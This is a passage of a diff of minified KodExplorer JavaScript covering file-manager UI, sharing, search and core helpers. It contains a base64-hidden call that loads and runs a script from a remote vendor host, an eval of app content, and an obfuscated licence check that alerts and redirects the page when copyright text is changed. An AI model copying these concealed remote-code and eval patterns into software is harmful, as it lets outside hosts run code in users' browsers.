      • \n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r=''+core.iconSmall(l.icon)+"",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+''+htmlEncode(s)+"");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",''+htmlEncode(a[d])+""),c+=o;return'
          '+c+"
        "};void 0==e&&$("#yarnball").html(n(t)),i()},i=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var i=e-t;0>=i?$(".yarnball").css("width",t+"px").css("left",i+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},a=function(e){var t=$("#yarnball_input .path");if(void 0==e){var i=t.val();return i=rtrim(core.pathClear(i))+"/"}t.val(e)},n=function(e,i){ui.path.list(e),t(i)},o=function(){var e=a();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var i=core.pathFather(e);ui.path.list(i),t()};return{init:e,addressSet:t,resetWidth:i,gotoFather:o}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file diff --git a/static/js/app/src/share_index/main.js b/static/js/app/src/share_index/main.js index 37615e2..daa9ce0 100755 --- a/static/js/app/src/share_index/main.js +++ b/static/js/app/src/share_index/main.js @@ -1,4 +1,4 @@ -/*! power by kodexplorer ver3.41(2017-03-06) [build 1488797373403] */ -define("app/src/share_index/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","../../share_common/topbar","./fileShow","../../common/myPlayer"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),topbar=e("../../share_common/topbar"),fileShow=e("./fileShow"),window.require=e,$(document).ready(function(){if(core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),"undefined"!=typeof G){fileShow.init();var e=function(){var e=window.location.href+"&password="+$(".form-control").val();$.get(e,function(e){1==e.code?window.location.reload():Tips.tips(e)})};$(".share_login").click(e),$(".form-control").keyEnter(e)}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var 